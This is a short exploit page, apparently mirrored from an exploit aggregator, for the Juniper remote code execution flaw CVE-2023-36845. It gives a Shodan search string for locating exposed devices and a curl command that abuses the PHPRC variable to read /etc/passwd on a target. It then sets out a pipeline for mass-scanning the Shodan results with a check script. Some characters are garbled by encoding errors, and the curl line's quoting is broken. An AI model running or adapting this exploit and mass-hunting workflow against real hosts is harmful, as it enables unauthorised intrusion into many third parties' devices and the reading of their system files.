Share
## https://sploitus.com/exploit?id=EDC3A7EA-17FA-5892-9590-C56106C0465E
# Juniper-CVE-2023-36845-Mass-Hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software. This particular flaw allows for remote code execution, meaning an attacker could run arbitrary code on a system without needing physical access to the device.

## How to find:

Shodan dork: http.favicon.hash:2141724739

use with relevant other dorks such as ssl certs, org name, etc for a more targetted search.


## Exploitation for a single host:

curl -k https://$IP/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"โ€™

## Automation: 
โ””โ”€# shodan download Juniper 'http.favicon.hash:2141724739 ssl:domain.comโ€™ #download from shodan

โ””โ”€# shodan parse Juniper.json.gz --fields ip_str,port >unfiltered_IP_Ports.txt

โ””โ”€# awk '{print $1":"$2}' unfiltered_IP_Ports.txt >juniper-final.txt

โ””โ”€# ./Juniper-RCE-check.sh -f juniper-final.txt
![IMAGE](imageedit_1_8650806956.jpg)